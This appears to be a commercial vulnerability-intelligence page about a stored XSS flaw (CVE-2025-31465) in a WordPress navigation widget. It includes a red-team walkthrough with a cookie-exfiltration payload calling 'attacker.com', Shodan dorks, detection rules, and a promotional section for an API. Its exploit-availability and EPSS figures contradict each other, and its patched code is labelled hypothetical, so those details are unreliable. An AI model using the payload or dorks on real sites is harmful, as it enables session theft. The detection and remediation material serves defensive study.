☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cornershop logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31465

CVE-2025-31465 Cross-Site Scripting in Cornershop
📅 PUBLISHED: 2025-03-28 12:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
6.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31465 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Better Section Navigation Widget (versions <= 1.6.1). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the widget’s output. This injected script executes in the context of any user viewing the affected page, leading to session hijacking, data theft, or defacement.

The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx. No public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for sites using the plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file and ensure they are not using modified or third-party versions. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level or higher)
  • User Interaction: Required (victim must view the page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The medium severity is due to the requirement for authenticated access and user interaction, but the potential for stored XSS to affect multiple users elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the better-section-navigation plugin, specifically in the widget’s rendering logic. The plugin fails to sanitize or escape user-supplied input (e.g., widget title, custom CSS classes, or other text fields) before outputting it in the HTML page. An attacker with contributor-level access can inject malicious JavaScript into these fields. When the widget is displayed on a page, the injected script executes in the browser of any visitor.

The root cause is the use of echo or print functions without proper escaping functions like esc_html() or wp_kses_post(). WordPress provides built-in functions for safe output, but the plugin bypasses them.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.6.1):

// In widget display function
echo '<h2 class="widget-title">' . $instance['title'] . '</h2>';

The $instance['title'] is not escaped, allowing arbitrary HTML/JavaScript injection.

Patched Code (hypothetical):

// Properly escaped
echo '<h2 class="widget-title">' . esc_html( $instance['title'] ) . '</h2>';

The esc_html() function converts special characters to HTML entities, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Prerequisites: WordPress site with Better Section Navigation Widget <= 1.6.1, an authenticated account with contributor-level privileges.
  2. Steps:
    • Log in to WordPress admin.
    • Navigate to Appearance > Widgets.
    • Add the Better Section Navigation Widget to a sidebar.
    • In the widget title field, enter: <script>alert('XSS')</script>.
    • Save the widget.
    • Visit any page displaying the widget. The script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defense & Detection)

  • Prevention: Update the plugin to a patched version (if available) or remove it. Use a Web Application Firewall (WAF) with XSS rules.
  • Detection: Monitor for unusual widget title changes or suspicious JavaScript in page source.
  • Response: If compromised, revoke all user sessions, remove malicious widgets, and audit user accounts.

Indicators of Compromise (IOCs)

  • File Indicators:
    • Modified widget title fields containing <script> tags or event handlers (e.g., onmouseover, onload).
    • Unexpected JavaScript in the HTML source of pages using the widget.
  • Network Indicators:
    • Outbound connections to unknown domains from the WordPress site (e.g., data exfiltration).
  • Log Indicators:
    • WordPress audit logs showing widget updates by non-admin users.
    • Web server logs with requests containing XSS payloads in query strings or POST data.

Detection Engineering

YARA Rule

rule detect_better_section_navigation_xss {
    meta:
        description = "Detects stored XSS payloads in Better Section Navigation Widget"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-31465"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Better Section Navigation Widget
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via widget title fields
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: widget_updated
        widget_id: 'better-section-navigation*'
        title|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31465 Stored XSS in Better Section Navigation Widget"; flow:to_server,established; content:"better-section-navigation"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable or remove the Better Section Navigation Widget plugin until a patch is available.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS payloads in widget fields.
  3. Long-term: Monitor the plugin’s official page for updates. Apply the patch as soon as it is released.
  4. Alternative: Use a different, actively maintained WordPress navigation widget.
  5. User Training: Educate contributors about the risks of injecting code into widget fields.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Better Section Navigation"
http.html:"better-section-navigation"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31465/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.